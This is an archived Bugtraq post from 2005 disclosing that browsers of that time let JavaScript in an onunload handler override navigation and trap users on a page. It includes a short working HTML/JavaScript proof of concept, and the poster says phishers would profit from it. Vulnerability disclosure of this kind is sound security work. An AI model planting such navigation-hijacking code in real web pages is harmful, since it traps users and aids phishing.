Bugtraq mailing list archives

unload event in ie/mozilla/opera

From: Tobias Boonstoppel <boonstoppel () gmail com>
Date: Tue, 23 Aug 2005 16:09:51 +0200

in nearly all browsers* you can overwrite the window location in the
"onunload" event.

that means you can "keep" the user on a site. when you type a new url
in the address-bar, javascript overwrites it. thats a paradies for
fishers, porn-site-hoster etc......

here the html/javascript code:

<html>
<head>
<script>
window.unlock = false;
window.onunload=function()
{
if(!window.unlock)
 window.location.href='unload.html';
}
document.onmousedown=function()
{
  window.unlock = true;
}
</script>
</head>
<body>
<a href="?link=1">Link 1</a><br>
<a href="?link=2">Link 2</a><br>
<a href="?link=3">Link 3</a><br>
<a href="?link=4">Link 4</a><br>
</body>
</html>


cheers
Tobias Boonstoppel


ps: * i testet it on firefox (linux / window) opera (linux) and
internet explorer.

Current thread:

unload event in ie/mozilla/opera Tobias Boonstoppel (Aug 24)
- RE: unload event in ie/mozilla/opera David Gillett (Aug 24)
  - Re: unload event in ie/mozilla/opera Drew Haven (Aug 25)
    - Re: unload event in ie/mozilla/opera Tobias Boonstoppel (Aug 25)
  - Re: unload event in ie/mozilla/opera Niels Bakker (Aug 25)
    - Re: unload event in ie/mozilla/opera Godwin Stewart (Aug 26)
    - Re: unload event in ie/mozilla/opera Michael Shigorin (Aug 26)
- Re: unload event in ie/mozilla/opera Stefan Kelm (Aug 25)
- <Possible follow-ups>
- RE: unload event in ie/mozilla/opera Early, Clint (Aug 25)
- Re: unload event in ie/mozilla/opera gegegz (Aug 29)